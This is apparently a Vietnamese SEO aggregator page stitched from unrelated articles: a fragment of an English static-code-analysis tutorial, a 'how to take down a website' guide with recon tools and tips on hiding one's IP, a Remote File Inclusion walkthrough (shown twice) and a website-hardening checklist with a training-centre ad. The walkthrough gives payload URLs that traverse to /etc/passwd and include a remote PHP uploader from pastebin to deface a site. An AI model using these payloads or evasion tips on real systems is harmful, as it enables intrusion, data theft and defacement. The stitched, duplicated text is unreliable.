Top 16 # Cách Hack Sập Web / 2023 Xem Nhiều Nhất, Mới Nhất 12/2022 # Top Trend | Karefresh.com

Dăm Ba Cách Hack Sập Một Trang Web / 2023

Static code analysis refers to the technique of approximating the runtime behavior of a program. In other words, it is the process of predicting the output of a program without actually executing it.

Lately, however, the term “Static Code Analysis” is more commonly used to refer to one of the applications of this technique rather than the technique itself — program comprehension — understanding the program and detecting issues in it (anything from syntax errors to type mismatches, performance hogs likely bugs, security loopholes, etc.). This is the usage we’d be referring to throughout this post.

“The refinement of techniques for the prompt discovery of error serves as well as any other as a hallmark of what we mean by science.”

J. Robert Oppenheimer

Outline

We cover a lot of ground in this post. The aim is to build an understanding of static code analysis and to equip you with the basic theory, and the right tools so that you can write analyzers on your own.

We start our journey with laying down the essential parts of the pipeline which a compiler follows to understand what a piece of code does. We learn where to tap points in this pipeline to plug in our analyzers and extract meaningful information. In the latter half, we get our feet wet, and write four such static analyzers, completely from scratch, in Python.

Note that although the ideas here are discussed in light of Python, static code analyzers across all programming languages are carved out along similar lines. We chose Python because of the availability of an easy to use ast module, and wide adoption of the language itself.

How does it all work?

Before a computer can finally “understand” and execute a piece of code, it goes through a series of complicated transformations:

As you can see in the diagram (go ahead, zoom it!), the static analyzers feed on the output of these stages. To be able to better understand the static analysis techniques, let’s look at each of these steps in some more detail:

Scanning

The first thing that a compiler does when trying to understand a piece of code is to break it down into smaller chunks, also known as tokens. Tokens are akin to what words are in a language.

Python provides the tokenize module in its standard library to let you play around with tokens:

Python

1

import io

2

import tokenize

3

4

code = b"color = input('Enter your favourite color: ')"

5

6

for token in tokenize.tokenize(io.BytesIO(code).readline):

7

   print(token)

Python

1

TokenInfo(type=62 (ENCODING),  string='utf-8')

2

TokenInfo(type=1 (NAME),      string='color')

3

TokenInfo(type=54 (OP),        string='=')

4

TokenInfo(type=1 (NAME),      string='input')

5

TokenInfo(type=54 (OP),        string='(')

6

TokenInfo(type=3 (STRING),    string="'Enter your favourite color: '")

7

TokenInfo(type=54 (OP),        string=')')

8

TokenInfo(type=4 (NEWLINE),   string='')

9

TokenInfo(type=0 (ENDMARKER), string='')

(Note that for the sake of readability, I’ve omitted a few columns from the result above — metadata like starting index, ending index, a copy of the line on which a token occurs, etc.)

#code quality #code review #static analysis #static code analysis #code analysis #static analysis tools #code review tips #static code analyzer #static code analysis tool #static analyzer

Dăm Ba Cách Hack Sập 1 Website Nào Đó / 2023

Đã bao giờ bạn thắc mắc làm sao hacker có thể hack sập 1 website chưa? Hack gồm những bước nào, tìm hiểu trang web ra sao? Làm sao để không bị phát hiện v..v.

Đôi lời cảnh báo trước khi hack

Nội dung bài viết mang tính chất học thuật, tham khảo. Phụ nữ dưới 18 tuổi và trẻ em có thai không nên làm theo, mọi hậu quả mình không chịu trách nhiệm.

Bản thân việc hack là không phạm pháp. Tuy nhiên sử dụng kĩ thuật hack để tấn công mạng, đánh cắp dữ liệu, sửa đổi thông tin v…v đều là hành động phạm pháp, khả năng ngồi nhà đá khá cao, các bạn nên cẩn thận suy nghĩ trước khi làm!

Nếu không cẩn thận, bạn rất dễ bị lộ IP khi hack. Các tổ chức điều tra, nhà nước có quyền yêu cầu ISP (nhà mạng) cung cấp thông tin về tên tuổi, địa chỉ, chủ của IP đó. Xác suất bạn bị … nắm đầu rất cao nếu không cẩn thận.

Sử dụng VPN, Proxy … có thể giảm khả năng bị lộ IP. Tuy nhiên, cũng đã có trường hợp chính quyền yêu cầu nhà cung cấp VPN/proxy cung cấp log cho họ, nên vẫn có thể bị lộ nếu xui.

Ok viết vậy để rũ bỏ trách nhiệm thôi, chứ mình nghĩ bạn đọc của Code Dạo toàn là những con người sống có đạo đức, không đi hack lung tung đâu nà.

Bước 1 – Tìm hiểu đối tượng cần tấn công

Để hack thành công một trang web, bước đầu tiên cần làm cũng giống như tán gái vậy: tìm hiểu đối tượng cần tấn công.

Với việc tán gái, bạn phải tìm hiểu tên tuổi, trường học, sở thích … của người ta mới tán được. Với việc hack 1 trang web, bạn cũng nên tìm hiểu những điều sau:

Công nghệ dùng build web đó: Tra xem web được code bằng công nghệ gì (Web viết bằng PHP hay C#, dùng server gì, phiên bản bao nhiêu)

IP thật của trang web: Từ IP này, ta có thể truy ra server trang web nằm ở đâu, nhà cung cấp nào

Dựa theo IP, scan server thật của web để xem nó dùng hệ điều hành nào, web server phiên bản gì, trên server có gì (mall server, database v…v), có những port nào mở

Dùng tool để scan sơ những lỗ hổng bảo mật hay gặp của web

Trong quá trình tìm hiểu này, bạn nên viết lại những thứ thú vị mà mình tìm hiểu được để sau này tra cho dễ. Một số tool thường được dùng ở giai đoạn này là:

Nmap – Scan các port đang mở, xem các service nào đang chạy, version của các service đó

Buidwith/WapPalyzer – Tra xem trang web được viết bằng công nghệ gì, chạy trên server nào

TheHaverster/DNS Dumspter – Truy cập DNS history, mò ngược ra IP, subdomain của 1 trang web

Dirbuster/gobuster – Scan các url, domain của 1 trang web

BurpSuite/Nikto/Nessus – Scan các lỗ hổng bảo mật thường gặp

Cách 1 – Report trang web

Cách này khá đơn giản: Report trực tiếp trang web cho nhà cung cấp hosting, cung cấp service, yêu cầu họ gỡ bỏ trang web. (Làm sao để biết web đó nằm ở hosting nào thì bạn xem lại bước trên).

Ưu điểm của cách này là khá dễ dàng, không cần nhiều kiến thức kĩ thuật. Xác suất thành công lại khá cao nếu như web của bạn report là web spam, vi phạm bản quyền, lừa đảo, chứa nội dung phạm pháp, bạo lực v…v

Nhược điểm là đôi khi cách này hơi lâu, vì phải chờ bên cung cấp họ duyệt, và cũng chưa chắc thành công nếu nội dung web là hợp pháp. Chưa kể, chủ web có thể dùng Cloudflare để ẩn IP thật, chuyển trang web qua nhà cung cấp khác an toàn hơn, hoặc tự host.

Cách này cũng chỉ có thể đánh sập chứ không thể nào lấy dữ liệu, làm hư web hoặc tra ra chủ trang web được.

Cách 2 – Tấn công lỗ hỗng của web

Cách này tức là lợi dung lỗ hổng của trang web để chiếm quyền truy cập, upload shell, chạy script để phá hoại, chôm dữ liệu.

Cách này đòi hỏi các bạn phải có kiến thức về lập trình và bảo mật, biết cách 1 trang web hoạt động, biết những lỗ hỗng bảo mật hay gặp (XSS, SQL Injection ….) mới có hướng tấn công.

Ưu điểm của cách này là… rất hiệu quả. Nếu thành công, các bạn có thể truy cập được toàn bộ dữ liệu, chiếm quyền trên web server, muốn xoá sạch dữ liệu hay sập web cũng hoàn toàn có thể.

Nhược điểm của cách này là … kha khó, đòi hỏi nhiều kiến thức bảo mật, và mất nhiều thời gian mò mẫm. Chưa kể, không phải web nào cũng có lỗ hổng bảo mật, có khi tìm hoài cũng không ra.

Các tool hay dùng và kiến thức cần biết:

Metasploit – Chứa rất nhiều payload và code để tấn công một phiên bản phần mềm nào đó

Searchsploit – Tương tự như Metasploit, nhưng khó dùng hơn và nhiều code hơn

Google – Sau khi biết được công nghệ web đó dùng (vd Apache 2.2), ta có thể Google Apache 2.2 exploit để tìm các lỗ hổng, cách tấn công

BurpSuite/Fiddler/Postman để chỉnh sửa request gửi lên/response nhận về từ server

Tạm kết

Hacker Đã Hack Các Website Ra Sao? Và Cách Chống Hack Trang Web / 2023

Cho tới hiện tại thì có 3 cách phổ biến:

Reomote File Include (RFI)

SQL injection

Cross-site Scripting

Đặc điểm cả 3 đều thực hiện upload file hay còn gọi là tải file độc hại lên server thậm chí PHP, HTML, JS, …. Đầu tiên chúng ta đi đến cách đầu tiên: Remote File Include (RFI)

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp độc hại bằng cách sử dụng chức năng “include”. Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dữ liệu độc hại.

Bắt đầu thôi!

Ví dụ ta có site này

Giải thích như sau: trang PHP kia sẽ đọc file từ chúng tôi mà biến page đã được gán. Lúc này nếu sơ hở không lọc kỹ càng, các hacker sẽ lợi dụng lỗ hổng này để khai thác và đoc nhiều file nhạy cảm hơn password.

Đến đây ta thử thành đường dẫn google

Tada, hiên ra nguyên trang search google

Kết quả khoog show ra gì. Tiếp tục sử dụng kĩ thuật path lên 1 thư mục bằng ../

Vẫn không hiện, tiếp tục path

Cuối cùng, nguyên passwd đã lộ ra sau 2 lần thử

Giờ chỉ cần tới công đoạn up file bất kỳ nào lên thôi tùy mục đích của hacker. Trong video mình muốn ghi đè file dispo_call.php nên mình đã tạo 1 file php y chang nhưng source code là trang web giao diện thông báo trang web này đã bị hack. Cuối cùng thành công, hoàn thành thử thách.

Nếu bạn là chủ một website, còn điều gì đáng sợ hơn việc một ngày bạn phát hiện website bị hack. Vậy làm thế nào để hạn chế và phòng chống hack website? Ngoài việc thường xuyên sao lưu các tập tin của mình, bảy bước sau đây sẽ giúp bạn bảo mật web tốt hơn và phòng chống hack website.

1. Luôn cập nhật website

Điều đầu tiên bạn nên làm để phòng chống hack website là đảm bảo rằng website của bạn được cập nhật phiên bản mới nhất. Bởi vì nhiều công cụ được tạo ra dưới dạng các chương trình phần mềm mã nguồn mở, mã code của các công cụ này rất dễ sử dụng cho cả các nhà phát triển cũng như các hacker mũ đen. Các hacker có thể xem các mã này, tìm kiếm những lỗ hổng bảo mật và khai thác để tấn công các website. Người dùng WordPress có thể kiểm tra các bản cập nhật một cách nhanh chóng khi họ đăng nhập vào bảng điều khiển WordPress của họ.

Thông báo update trên nền tảng WordPress mà bạn không nên bỏ lỡ

2. Giải pháp chống hack website

Khi bạn đã cập nhật tất cả mọi thứ, hãy tăng cường bảo mật trang web của bạn với các plugin chuyên dụng để ngăn chặn các nỗ lực tìm cách xâm nhập. Chi phí phòng chống luôn rẻ hơn. Tìm kiếm một nền tảng an ninh mạng uy tín. Với giải pháp cung cấp rất nhiều tính năng bảo mật ưu việt. Từ việc quét và phát hiện các lỗ hổng bảo mật trang, giám sát website liên tục 24/7 cho đến việc phát hiện và làm sạch mã độc hay xây dựng tường lửa bảo vệ website. Nếu doanh nghiệp của bạn hoạt động dựa vào trang web của mình. Đây chắc chắn là một khoản đầu tư đáng để xem xét.

3. Sử dụng HTTPS

Kích hoạt HTTPS cho website của mình.

4. Sử dụng Parameter để truy vấn CSDL

Một trong những thủ thuật phổ biến khiến các website bị hack là tấn công SQL Injection. Tin tặc có thể khai thác SQL Injection thông qua các tham số và form trên website của bạn. Tin tặc có thể tấn công vào cơ sở dữ liệu – nơi có thể chứa thông tin khách hàng nhạy cảm như thông tin liên lạc hoặc số thẻ tín dụng. Rõ ràng bảo mật những thông tin đó là nhiệm vụ của bạn. Có một số bước bạn có thể thực hiện để bảo vệ trang web của bạn khỏi SQL Injection. Một trong những điều quan trọng nhất và dễ thực hiện nhất là sử dụng truy vấn PARAMETER. Bạn nên sử dụng các thư viện ORM để cài đặt cơ chế Parameter này.

5. Sử dụng CSP

Tương tự như SQL Injection, XSS cũng là một lỗ hổng cực kỳ nguy hiểm. Chúng xuất hiện khi các hacker tìm cách để đưa mã JavaScript độc hại vào trang web. Thực thi trên máy người dùng để đánh cắp phiên đăng nhập hoặc cài đặt mã độc. Để bảo vệ trang web của bạn khỏi các cuộc tấn công XSS, một công cụ hữu ích giúp bạn tự bảo vệ mình khỏi XSS là CSP (Content Security Policy – CSP). Sử dụng CSP chỉ đơn giản là vấn đề bổ sung đúng tiêu đề HTTP cho trang web của bạn, cung cấp một chuỗi các chỉ thị cho biết trình duyệt có tên miền nào là ổn và bất kỳ ngoại lệ nào đối với quy tắc này. Bạn có thể tìm thấy các chi tiết về cách tạo tiêu đề CSP cho trang web của bạn do Mozilla cung cấp.

6. Mật khẩu an toàn

Điều này nghe có vẻ đơn giản, nhưng nó rất quan trọng. Bạn muốn tạo mật khẩu mà bạn biết sẽ luôn luôn dễ dàng để bạn nhớ. Đó là lý do tại sao mật khẩu #1 phổ biến nhất vẫn là 123456. Tuy nhiên bạn phải khiến nó phức tạp hơn rất nhiều. Nên sử dụng một hỗn hợp các ký tự đặc biệt, số và chữ cái. Và tránh xa những từ khóa có thể dễ đoán đoán như ngày sinh nhật của bạn hoặc tên của con cái….. Nếu một hacker nào đó có được quyền truy cập vào các thông tin khác về bạn, họ sẽ biết để đoán ra. Và đảm bảo rằng tất cả những ai có quyền truy cập vào trang web của bạn đều có mật khẩu bảo mật tương tự. Đặt ra các yêu cầu về độ dài và loại ký tự mà mọi người cần phải sử dụng để họ phải sáng tạo hơn là việc tiếp tục sử dụng các mật khẩu tiêu chuẩn, dễ đoán gây nên các vấn đề nghiêm trọng về bảo mật và khiến cho website bị hack.

7. Phân quyền truy cập chặt chẽ

Bây giờ, đối với bước cuối cùng này, có thể chúng ta sẽ đòi hỏi phải biết một chút về kỹ thuật. Tất cả các trang web có thể được tạo bởi một loạt các tập tin và thư mục được lưu trữ trên máy chủ. Bên cạnh việc chứa tất cả các tập lệnh và dữ liệu cần thiết để làm cho trang web của bạn hoạt động. Mỗi tập tin và thư mục phải được gán cho một tập hợp các quyền thực thi nhất định. Bạn phải chắc chắn kiểm soát việc ai có thể đọc, ghi và thực thi các tệp tin trên máy chủ. Nên thiết lập 1 tài khoản máy chủ riêng để chạy dịch vụ website của bạn.

HỆ THỐNG ĐÀO TẠO CNTT QUỐC TẾ BACHKHOA-APTECH

Hotline: 0968276996

Địa chỉ: 238 Hoàng Quốc Việt, Bắc Từ Liêm, Hà Nội

Các Hacker Đã Hack Trang Web Như Nào ? / 2023

Đa số mọi người đã từng thấy 1 trang web bị hack và thay đổi giao diện là anonymous, hacked by abc, …… Vậy làm thế nào các hacker có thể làm được điều đó? Cho tới hiện tại mình biết được 3 cách:

Remote File Include (RFI)

SQL injection.

Cross-site Scripting.

Đặc điểm cả 3 đều thực hiện Upload Shell hay còn gọi là tải file độc hại lên sever thậm chí php, html, js, …..Đầu tiên ta đi đến cách đầu tiên: Remote File Include (RFI)

Lỗ hổng File Inclusion cho phép tin tặc truy cập trái phép vào những tập tin nhạy cảm trên máy chủ web hoặc thực thi các tệp tin độc hại bằng cách sử dụng chức năng “include”.

Lỗ hổng này xảy ra do cơ chế kiểm tra đầu vào không được thực hiện tốt, khiến tin tặc có thể khai thác và chèn các dự liệu độc hại.

Giải thích như sau: cái trang php kia sẽ đọc file từ chúng tôi mà biến page đã được gán. Lúc này nếu sơ hở không lọc kỹ càng, các hacker sẽ lợi dụng lỗ hổng này để khai thác và đọc nhiều file nhạy cảm hơn password Đến đây ta thử thành đường dẫn google xem như nào.

abc. com/index.php?page=http:// google.com

Tada! Hiện ra nguyên trang search google luôn.

Vậy là chúng tôi không lọc input đầu vào, ta có thể đọc được file password không? Ban đầu mình thử etc/passwd

abc. com/index.php?page=etc/passwd

Kết quả không show ra gì. Tiếp tục sử dụng kĩ thuật path lên 1 thư mục bằng ../

abc. com/index.php?page=../etc/passwd

Vẫn không hiện. Tiếp tục path.

abc. com/index.php?page=../../etc/passwd

Tada! Nguyên passwd đã lộ ra sau 2 lần thử .

Chưa dừng lại ở đây. Nếu có thể đọc được bất kì file gì. Sao ta lại không thử đọc 1 file với mục đích upload file lên sever. Chuẩn bị 1 file chúng tôi Copy code vào pastebin nhằm mục đích lấy link. Sau 1 hồi ta được 1 link với code php để upload file. Sau 1 hồi ta được kết quả:

abc. com/index.php?page=https:// pastebin. com/xyz

Ok up file đã hiện lên!

Giờ chỉ cần tới công đoạn up file bất kì nào lên thôi tùy mục đích của hacker. Trong video mình muốn ghi đè file dispo_cal.php nên mình đã tạo 1 file php với tên y chang nhưng source code là trang web giao diện thông báo trang web này đã bị hack. Và cuối cùng thành công! Hoàn thành thử thách.

Chia sẻ Nguyễn Quốc Khánh – J2Team